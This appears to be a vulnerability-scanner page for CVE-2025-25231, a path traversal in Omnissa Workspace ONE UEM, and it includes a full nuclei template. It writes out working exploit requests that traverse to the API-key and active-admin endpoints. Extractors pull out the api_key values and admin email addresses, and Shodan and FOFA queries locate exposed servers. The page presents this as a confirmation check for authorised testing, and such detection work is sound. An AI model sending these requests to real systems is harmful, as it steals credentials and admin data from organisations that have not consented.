Omnissa Workspace ONE UEM - Path Traversal

highseverity

29.1%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.

Impact

Malicious actors can access sensitive information by exploiting path traversal in API endpoints.

Fix

Update to the latest version.

How to confirm it

Send: GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global
Positive when: contains_all(body, "service_name","api_key") and contains(content_type, "application/json") and status_code == 200
Send: GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/admins/search?status=active%3fogname=Global
Positive when: contains_all(body, "AdminUser","Uuid") and contains(content_type, "application/xml") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-25231 -u <target>

The full check

id: CVE-2025-25231

info:
  name: Omnissa Workspace ONE UEM - Path Traversal
  author: DhiyaneshDK,slcyber
  severity: high
  description: |
    Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.
  impact: |
    Malicious actors can access sensitive information by exploiting path traversal in API endpoints.
  remediation: |
    Update to the latest version.
  reference:
    - https://slcyber.io/assetnote-security-research-center/secondary-context-path-traversal-in-omnissa-workspace-one-uem/#wrap-up-&-acknowledgements
    - https://www.omnissa.com/omsa-2025-0004/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25231
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: workspace_one_uem_console
    fofa-query: banner="/airwatch/default.aspx" || header="/airwatch/default.aspx"
    shodan-query: html:"/airwatch/default.aspx"
  tags: cve,cve2025,omnissa,workspace,airwatch,traversal,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "service_name","api_key")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: json
        name: api_key
        json:
          - '.api_keys[].api_key'

  - raw:
      - |
        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/admins/search?status=active%3fogname=Global HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "AdminUser","Uuid")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        part: body
        name: admin_email
        group: 1
        regex:
          - '<Email>([^<]+)</Email>'

References

Use this check only on systems you are authorised to test. Where the data comes from